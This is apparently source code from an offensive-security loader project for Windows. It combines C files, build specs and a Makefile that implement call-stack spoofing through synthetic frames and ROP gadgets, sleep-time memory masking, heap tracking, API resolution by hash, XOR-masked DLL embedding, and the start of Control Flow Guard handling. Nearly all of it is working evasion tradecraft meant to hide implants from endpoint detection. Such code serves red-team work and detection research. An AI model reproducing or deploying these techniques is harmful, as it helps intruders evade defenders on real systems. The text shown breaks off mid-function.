} PICO_MEMORY;
typedef struct {
PVOID Address;
SIZE_T Size;
} HEAP_RECORD;
typedef struct {
HEAP_RECORD Records [ MAX_HEAP_RECORDS ];
SIZE_T Count;
} HEAP_MEMORY;
typedef struct {
PVOID BaseAddress;
SIZE_T Size;
DWORD CurrentProtect;
DWORD PreviousProtect;
} MEMORY_SECTION;
typedef struct {
PVOID BaseAddress;
SIZE_T Size;
MEMORY_SECTION Sections [ MAX_SECTIONS ];
SIZE_T Count;
} DLL_MEMORY;
typedef struct {
PICO_MEMORY Pico;
DLL_MEMORY Dll;
HEAP_MEMORY Heap;
} MEMORY_LAYOUT;
+198
View File
@@ -0,0 +1,198 @@
#include <windows.h>
#include "memory.h"
#include "mask.h"
#include "spoof.h"
#include "cleanup.h"
#include "tcg.h"
MEMORY_LAYOUT g_memory;
DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD );
DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD );
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree ( HANDLE, DWORD, LPVOID );
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapReAlloc ( HANDLE, DWORD, LPVOID, SIZE_T );
FARPROC WINAPI _GetProcAddress ( HMODULE hModule, LPCSTR lpProcName )
{
/* lpProcName may be an ordinal */
if ( ( ULONG_PTR ) lpProcName >> 16 == 0 )
{
/* just resolve normally */
return GetProcAddress ( hModule, lpProcName );
}
FARPROC result = __resolve_hook ( ror13hash ( lpProcName ) );
/*
* result may still be NULL if
* it wasn't hooked in the spec
*/
if ( result != NULL ) {
return result;
}
return GetProcAddress ( hModule, lpProcName );
}
void setup_hooks ( IMPORTFUNCS * funcs )
{
funcs->GetProcAddress = ( __typeof__ ( GetProcAddress ) * ) _GetProcAddress;
}
void setup_memory ( MEMORY_LAYOUT * layout )
{
if ( layout != NULL ) {
g_memory = * layout;
}
}
/*
* throw these hooks in here because
* sharing a global across multiple
* modules is still a bit of a headache
*/
VOID WINAPI _Sleep ( DWORD dwMilliseconds )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$Sleep );
call.argc = 1;
call.args [ 0 ] = spoof_arg ( dwMilliseconds );
/*
* for performance reasons, only mask
* memory if sleep time is equal to
* or greater than 1 second
*/
if ( dwMilliseconds >= 1000 ) {
mask_memory ( &g_memory, TRUE );
}
spoof_call ( &call );
if ( dwMilliseconds >= 1000 ) {
mask_memory ( &g_memory, FALSE );
}
}
VOID WINAPI _ExitThread ( DWORD dwExitCode )
{
/* free memory */
cleanup_memory ( &g_memory );
/* call the real exit thread */
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$ExitThread );
call.argc = 1;
call.args [ 0 ] = spoof_arg ( dwExitCode );
spoof_call ( &call );
}
LPVOID WINAPI _HeapAlloc ( HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes )
{
LPVOID result = NULL;
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$HeapAlloc );
call.argc = 3;
call.args [ 0 ] = spoof_arg ( hHeap );
call.args [ 1 ] = spoof_arg ( dwFlags );
call.args [ 2 ] = spoof_arg ( dwBytes );
result = ( LPVOID ) spoof_call ( &call );
/* store a record of this heap allocation */
if ( dwBytes >= 256 && result != NULL && g_memory.Heap.Count < MAX_HEAP_RECORDS )
{
g_memory.Heap.Records [ g_memory.Heap.Count ].Address = result;
g_memory.Heap.Records [ g_memory.Heap.Count ].Size = dwBytes;
g_memory.Heap.Count++;
}
return result;
}
LPVOID WINAPI _HeapReAlloc ( HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$HeapReAlloc );
call.argc = 4;
call.args [ 0 ] = spoof_arg ( hHeap );
call.args [ 1 ] = spoof_arg ( dwFlags );
call.args [ 2 ] = spoof_arg ( lpMem );
call.args [ 3 ] = spoof_arg ( dwBytes );
LPVOID result = ( LPVOID ) spoof_call ( &call );
if ( result )
{
BOOL found = FALSE;
for ( int i = 0; i < g_memory.Heap.Count; i++ )
{
if ( g_memory.Heap.Records [ i ].Address == lpMem )
{
g_memory.Heap.Records [ i ].Address = result;
g_memory.Heap.Records [ i ].Size = dwBytes;
found = TRUE;
break;
}
}
if ( !found && dwBytes >= 256 && g_memory.Heap.Count < MAX_HEAP_RECORDS )
{
g_memory.Heap.Records [ g_memory.Heap.Count ].Address = result;
g_memory.Heap.Records [ g_memory.Heap.Count ].Size = dwBytes;
g_memory.Heap.Count++;
}
}
return result;
}
BOOL WINAPI _HeapFree ( HANDLE hHeap, DWORD dwFlags, LPVOID lpMem )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$HeapFree );
call.argc = 3;
call.args [ 0 ] = spoof_arg ( hHeap );
call.args [ 1 ] = spoof_arg ( dwFlags );
call.args [ 2 ] = spoof_arg ( lpMem );
BOOL result = ( BOOL ) spoof_call ( &call );
if ( result )
{
/* remove the right heap record */
for ( int i = 0; i < g_memory.Heap.Count; i++ )
{
if ( g_memory.Heap.Records [ i ].Address == lpMem )
{
int last = g_memory.Heap.Count - 1;
g_memory.Heap.Records [ i ] = g_memory.Heap.Records [ last ];
g_memory.Heap.Records [ last ].Address = NULL;
g_memory.Heap.Records [ last ].Size = 0;
g_memory.Heap.Count--;
break;
}
}
}
return result;
}
+26
View File
@@ -0,0 +1,26 @@
#include <windows.h>
#include "tcg.h"
/* for the local loader */
__typeof__ ( GetModuleHandle ) * get_module_handle __attribute__ ( ( section ( ".text" ) ) );
__typeof__ ( GetProcAddress ) * get_proc_address __attribute__ ( ( section ( ".text" ) ) );
/**
* This function is used to locate functions in
* modules that are loaded by default (K32 & NTDLL)
*/
FARPROC resolve ( DWORD mod_hash, DWORD func_hash )
{
HANDLE module = findModuleByHash ( mod_hash );
return findFunctionByHash ( module, func_hash );
}
/**
* This function is used to locate functions in
* modules that are loaded by default (K32 & NTDLL)
*/
FARPROC patch_resolve ( char * mod_name, char * func_name )
{
HANDLE module = get_module_handle ( mod_name );
return get_proc_address ( module, func_name );
}
+378
View File
@@ -0,0 +1,378 @@
#include <windows.h>
#include "spoof.h"
#include "tcg.h"
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA ( LPCSTR );
DECLSPEC_IMPORT RUNTIME_FUNCTION * WINAPI KERNEL32$RtlLookupFunctionEntry ( DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE );
DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx ( PULONG );
#define TEXT_HASH 0xEBC2F9B4
#define RBP_OP_INFO 0x5
typedef struct {
LPCWSTR DllPath;
ULONG Offset;
ULONGLONG TotalStackSize;
BOOL RequiresLoadLibrary;
BOOL SetsFramePointer;
PVOID ReturnAddress;
BOOL PushRbp;
ULONG CountOfCodes;
BOOL PushRbpIndex;
} STACK_FRAME;
typedef enum {
UWOP_PUSH_NONVOL = 0,
UWOP_ALLOC_LARGE,
UWOP_ALLOC_SMALL,
UWOP_SET_FPREG,
UWOP_SAVE_NONVOL,
UWOP_SAVE_NONVOL_FAR,
UWOP_SAVE_XMM128 = 8,
UWOP_SAVE_XMM128_FAR,
UWOP_PUSH_MACHFRAME
} UNWIND_CODE_OPS;
typedef unsigned char UBYTE;
typedef union {
struct {
UBYTE CodeOffset;
UBYTE UnwindOp : 4;
UBYTE OpInfo : 4;
};
USHORT FrameOffset;
} UNWIND_CODE;
typedef struct {
UBYTE Version : 3;
UBYTE Flags : 5;
UBYTE SizeOfProlog;
UBYTE CountOfCodes;
UBYTE FrameRegister : 4;
UBYTE FrameOffset : 4;
UNWIND_CODE UnwindCode [ 1 ];
} UNWIND_INFO;
typedef struct {
PVOID ModuleAddress;
PVOID FunctionAddress;
DWORD Offset;
} FRAME_INFO;
typedef struct {
FRAME_INFO Frame1;
FRAME_INFO Frame2;
PVOID Gadget;
} SYNTHETIC_STACK_FRAME;
typedef struct {
FUNCTION_CALL * FunctionCall;
PVOID StackFrame;
PVOID SpoofCall;
} DRAUGR_FUNCTION_CALL;
typedef struct {
PVOID Fixup;
PVOID OriginalReturnAddress;
PVOID Rbx;
PVOID Rdi;
PVOID BaseThreadInitThunkStackSize;
PVOID BaseThreadInitThunkReturnAddress;
PVOID TrampolineStackSize;
PVOID RtlUserThreadStartStackSize;
PVOID RtlUserThreadStartReturnAddress;
PVOID Ssn;
PVOID Trampoline;
PVOID Rsi;
PVOID R12;
PVOID R13;
PVOID R14;
PVOID R15;
} DRAUGR_PARAMETERS;
extern PVOID draugr_stub ( PVOID, PVOID, PVOID, PVOID, DRAUGR_PARAMETERS *, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID );
#define draugr_arg(i) ( ULONG_PTR ) ( call->args [ i ] )
void init_frame_info ( SYNTHETIC_STACK_FRAME * frame )
{
PVOID frame1_module = KERNEL32$GetModuleHandleA ( "kernel32.dll" );
PVOID frame2_module = KERNEL32$GetModuleHandleA ( "ntdll.dll" );
frame->Frame1.ModuleAddress = frame1_module;
frame->Frame1.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame1_module, "BaseThreadInitThunk" );
frame->Frame1.Offset = 0x17;
frame->Frame2.ModuleAddress = frame2_module;
frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" );
frame->Frame2.Offset = 0x2c;
frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" );
}
BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size )
{
IMAGE_DOS_HEADER * dos_header = ( IMAGE_DOS_HEADER * ) ( module );
if ( dos_header->e_magic != IMAGE_DOS_SIGNATURE ) {
return FALSE;
}
IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( UINT_PTR ) module + dos_header->e_lfanew );
if ( nt_headers->Signature != IMAGE_NT_SIGNATURE ) {
return FALSE;
}
IMAGE_SECTION_HEADER * section_header = IMAGE_FIRST_SECTION ( nt_headers );
for ( int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++ )
{
DWORD h = ror13hash ( ( char * ) section_header[ i ].Name );
if ( h == TEXT_HASH )
{
*virtual_address = section_header[ i ].VirtualAddress;
*size = section_header[ i ].SizeOfRawData;
return TRUE;
}
}
return FALSE;
}
PVOID calculate_function_stack_size ( RUNTIME_FUNCTION * runtime_function, const DWORD64 image_base )
{
UNWIND_INFO * unwind_info = NULL;
ULONG unwind_operation = 0;
ULONG operation_info = 0;
ULONG index = 0;
ULONG frame_offset = 0;
STACK_FRAME stack_frame = { 0 };
if ( ! runtime_function ) {
return NULL;
}
unwind_info = ( UNWIND_INFO * ) ( runtime_function->UnwindData + image_base );
while ( index < unwind_info->CountOfCodes )
{
unwind_operation = unwind_info->UnwindCode[ index ].UnwindOp;
operation_info = unwind_info->UnwindCode[ index ].OpInfo;
/* don't use switch as it produces jump tables */
if ( unwind_operation == UWOP_PUSH_NONVOL )
{
stack_frame.TotalStackSize += 8;
if ( operation_info == RBP_OP_INFO )
{
stack_frame.PushRbp = TRUE;
stack_frame.CountOfCodes = unwind_info->CountOfCodes;
stack_frame.PushRbpIndex = index + 1;
}
}
else if ( unwind_operation == UWOP_SAVE_NONVOL )
{
index += 1;
}
else if ( unwind_operation == UWOP_ALLOC_SMALL )
{
stack_frame.TotalStackSize += ( ( operation_info * 8 ) + 8 );
}
else if ( unwind_operation == UWOP_ALLOC_LARGE )
{
index += 1;
frame_offset = unwind_info->UnwindCode[ index ].FrameOffset;
if (operation_info == 0)
{
frame_offset *= 8;
}
else
{
index += 1;
frame_offset += ( unwind_info->UnwindCode[ index ].FrameOffset << 16 );
}
stack_frame.TotalStackSize += frame_offset;
}
else if ( unwind_operation == UWOP_SET_FPREG )
{
stack_frame.SetsFramePointer = TRUE;
}
else if ( unwind_operation == UWOP_SAVE_XMM128 )
{
return NULL;
}
index += 1;
}
if ( 0 != ( unwind_info->Flags & UNW_FLAG_CHAININFO ) )
{
index = unwind_info->CountOfCodes;
if ( 0 != ( index & 1 ) )
{
index += 1;
}
runtime_function = ( RUNTIME_FUNCTION * ) ( &unwind_info->UnwindCode [ index ] );
return calculate_function_stack_size ( runtime_function, image_base );
}
stack_frame.TotalStackSize += 8;
return ( PVOID ) ( stack_frame.TotalStackSize );
}
PVOID calculate_function_stack_size_wrapper ( PVOID return_address )
{
RUNTIME_FUNCTION * runtime_function = NULL;
DWORD64 image_base = 0;
PUNWIND_HISTORY_TABLE history_table = NULL;
if ( ! return_address ) {
return NULL;
}
runtime_function = KERNEL32$RtlLookupFunctionEntry ( ( DWORD64 ) return_address, &image_base, history_table );
if ( NULL == runtime_function ) {
return NULL;
}
return calculate_function_stack_size ( runtime_function, image_base );
}
PVOID find_gadget( PVOID module )
{
BOOL found_gadgets = FALSE;
DWORD text_section_size = 0;
DWORD text_section_va = 0;
DWORD counter = 0;
ULONG seed = 0;
ULONG random = 0;
PVOID module_text_section = NULL;
PVOID gadget_list [ 15 ] = { 0 };
if ( ! found_gadgets )
{
if ( ! get_text_section_size ( module, &text_section_va, &text_section_size ) ) {
return NULL;
}
module_text_section = ( PBYTE ) ( ( UINT_PTR ) module + text_section_va );
for ( int i = 0; i < ( text_section_size - 2 ); i++ )
{
/* x64 opcodes are ff 23 */
if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 )
{
gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i );
counter++;
if ( counter == 15 ) {
break;
}
}
}
found_gadgets = TRUE;
}
seed = 0x1337;
random = NTDLL$RtlRandomEx ( &seed );
random %= counter;
return gadget_list [ random ];
}
ULONG_PTR draugr_wrapper ( PVOID function, DWORD ssn, PVOID arg1, PVOID arg2, PVOID arg3, PVOID arg4, PVOID arg5, PVOID arg6, PVOID arg7, PVOID arg8, PVOID arg9, PVOID arg10, PVOID arg11, PVOID arg12 )
{
int attempts = 0;
PVOID return_address = NULL;
DRAUGR_PARAMETERS draugr_params = { 0 };
if ( ssn ) {
draugr_params.Ssn = ( PVOID ) ( ULONG_PTR ) ssn;
}
SYNTHETIC_STACK_FRAME frame;
init_frame_info ( &frame );
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame1.FunctionAddress + frame.Frame1.Offset );
draugr_params.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper ( return_address );
draugr_params.BaseThreadInitThunkReturnAddress = return_address;
if ( ! draugr_params.BaseThreadInitThunkStackSize || ! draugr_params.BaseThreadInitThunkReturnAddress ) {
return ( ULONG_PTR ) ( NULL );
}
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame2.FunctionAddress + frame.Frame2.Offset );
draugr_params.RtlUserThreadStartStackSize = calculate_function_stack_size_wrapper ( return_address );
draugr_params.RtlUserThreadStartReturnAddress = return_address;
if ( ! draugr_params.RtlUserThreadStartStackSize || ! draugr_params.RtlUserThreadStartReturnAddress ) {
return ( ULONG_PTR ) ( NULL );
}
do
{
draugr_params.Trampoline = find_gadget ( frame.Gadget );
draugr_params.TrampolineStackSize = calculate_function_stack_size_wrapper ( draugr_params.Trampoline );
attempts++;
if ( attempts > 15 ) {
return ( ULONG_PTR ) ( NULL );
}
} while ( draugr_params.TrampolineStackSize == NULL || ( ( __int64 ) draugr_params.TrampolineStackSize < 0x80 ) );
if ( ! draugr_params.Trampoline || ! draugr_params.TrampolineStackSize ) {
return ( ULONG_PTR ) ( NULL );
}
return ( ULONG_PTR ) draugr_stub ( arg1, arg2, arg3, arg4, &draugr_params, function, 8, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12 );
}
ULONG_PTR spoof_call ( FUNCTION_CALL * call )
{
/* very inelegant */
if ( call->argc == 0 ) {
return draugr_wrapper ( call->ptr, call->ssn, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 1 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 2 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 3 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 4 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 5 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 6 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 7 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 8 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), NULL, NULL, NULL, NULL );
} else if ( call->argc == 9 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), NULL, NULL, NULL );
} else if ( call->argc == 10 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), NULL, NULL );
} else if ( call->argc == 11 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), NULL );
} else if ( call->argc == 12 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), ( PVOID ) draugr_arg ( 11 ) );
} else {
return ( ULONG_PTR ) ( NULL );
}
}
+10
View File
@@ -0,0 +1,10 @@
#define spoof_arg(x) ( ULONG_PTR ) ( x )
typedef struct {
PVOID ptr;
DWORD ssn;
int argc;
ULONG_PTR args[10];
} FUNCTION_CALL;
ULONG_PTR spoof_call ( FUNCTION_CALL * call );
+102
View File
@@ -0,0 +1,102 @@
/*
* Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
// used by both the Pico Loader and DLL loader
typedef struct {
__typeof__(LoadLibraryA) * LoadLibraryA;
__typeof__(GetProcAddress) * GetProcAddress;
} IMPORTFUNCS;
// linker intrinsic to map a function hash to a hook registered via Crystal Palace
FARPROC __resolve_hook(DWORD funcHash);
/*
* Structs used by our DLL loader
*/
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
#define DEREF( name )*(UINT_PTR *)(name)
typedef struct {
IMAGE_DOS_HEADER * DosHeader;
IMAGE_NT_HEADERS * NtHeaders;
IMAGE_OPTIONAL_HEADER * OptionalHeader;
} DLLDATA;
/*
* utility functions
*/
DWORD adler32sum(unsigned char * buffer, DWORD length);
DWORD ror13hash(const char * c);
/*
* printf-style debugging.
*/
void dprintf(char * format, ...);
/*
* PICO running functions
*/
typedef void (*PICOMAIN_FUNC)(char * arg);
PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag);
PICOMAIN_FUNC PicoEntryPoint(char * src, char * base);
int PicoCodeSize(char * src);
int PicoDataSize(char * src);
void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData);
/*
* Resolve functions by walking the export address table
*/
FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash);
HANDLE findModuleByHash(DWORD moduleHash);
/*
* DLL parsing and loading functions
*/
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base);
IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry);
void LoadDLL(DLLDATA * dll, char * src, char * dst);
void LoadSections(DLLDATA * dll, char * src, char * dst);
void ParseDLL(char * src, DLLDATA * data);
void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst);
void ProcessRelocations(DLLDATA * dll, char * src, char * dst);
DWORD SizeOfDLL(DLLDATA * data);
/*
* A macro to figure out our caller
* https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1
*/
#ifdef __MINGW32__
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
#else
#pragma intrinsic(_ReturnAddress)
#define WIN_GET_CALLER() _ReturnAddress()
#endif
+21
View File
@@ -0,0 +1,21 @@
CC_64=x86_64-w64-mingw32-gcc
NASM=nasm
all: bin/loader.x64.o
bin:
mkdir bin
bin/loader.x64.o: bin
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/services.c -o bin/services.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/pico.c -o bin/pico.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hooks.c -o bin/hooks.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/spoof.c -o bin/spoof.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cfg.c -o bin/cfg.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cleanup.c -o bin/cleanup.x64.o
$(NASM) src/draugr.asm -o bin/draugr.x64.bin
clean:
rm -f bin/*
@@ -0,0 +1,50 @@
x64:
load "bin/loader.x64.o"
make pic +gofirst +optimize +disco
# merge services
load "bin/services.x64.o"
merge
dfr "patch_resolve" "ror13"
mergelib "../libtcg.x64.zip"
# merge hooks into the loader
load "bin/hooks.x64.o"
merge
# merge call stack spoofing into the loader
load "bin/spoof.x64.o"
merge
# load the stack spoofing assembly
load "bin/draugr.x64.bin"
linkfunc "draugr_stub"
# hook functions that the loader uses
attach "KERNEL32$LoadLibraryA" "_LoadLibraryA"
attach "KERNEL32$VirtualAlloc" "_VirtualAlloc"
attach "KERNEL32$VirtualProtect" "_VirtualProtect"
attach "KERNEL32$VirtualFree" "_VirtualFree"
# mask & link the dll
generate $MASK 128
push $DLL
xor $MASK
preplen
link "dll"
push $MASK
preplen
link "mask"
# DLL Args from File
load %ARGFILE
preplen
link "dll_args"
# now get the tradecraft as a PICO
run "pico.spec"
link "pico"
export
@@ -0,0 +1,36 @@
x64:
load "bin/pico.x64.o"
make object +disco
# merge the hook functions
load "bin/hooks.x64.o"
merge
# merge the call stack spoofing
load "bin/spoof.x64.o"
merge
# merge the asm stub
load "bin/draugr.x64.bin"
linkfunc "draugr_stub"
# merge cfg code
load "bin/cfg.x64.o"
merge
# merge cleanup
load "bin/cleanup.x64.o"
merge
# export setup_hooks and setup_memory
exportfunc "setup_hooks" "__tag_setup_hooks"
exportfunc "setup_memory" "__tag_setup_memory"
# hook functions in the DLL
addhook "KERNEL32$GetProcAddress" "_GetProcAddress"
addhook "KERNEL32$LoadLibraryW" "_LoadLibraryW"
addhook "KERNEL32$ExitThread" "_ExitThread"
mergelib "../libtcg.x64.zip"
export
+114
View File
@@ -0,0 +1,114 @@
#include <windows.h>
#include "cfg.h"
#define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 )
#define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 )
typedef struct {
ULONG ExtendedProcessInfo;
ULONG ExtendedProcessInfoBuffer;
} EXTENDED_PROCESS_INFORMATION;
typedef enum {
ProcessUserModeIOPL = 16,
ProcessCookie = 36
} PROCESSINFOCLASS;
typedef struct {
DWORD dwNumberOfOffsets;
PULONG plOutput;
PCFG_CALL_TARGET_INFO ptOffsets;
PVOID pMustBeZero;
PVOID pMoarZero;
} VM_INFORMATION;
typedef enum {
VmPrefetchInformation,
VmPagePriorityInformation,
VmCfgCallTargetInformation
} VIRTUAL_MEMORY_INFORMATION_CLASS;
typedef struct {
PVOID VirtualAddress;
SIZE_T NumberOfBytes;
} MEMORY_RANGE_ENTRY;
typedef enum {
MemoryBasicInformation
} MEMORY_INFORMATION_CLASS;
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess ( HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG );
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory ( HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T );
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory ( HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, MEMORY_RANGE_ENTRY *, PVOID, ULONG );
BOOL cfg_enabled ( )
{
EXTENDED_PROCESS_INFORMATION proc_info = { 0 };
NTSTATUS status = 0;
proc_info.ExtendedProcessInfo = ProcessControlFlowGuardPolicy;
proc_info.ExtendedProcessInfoBuffer = 0;
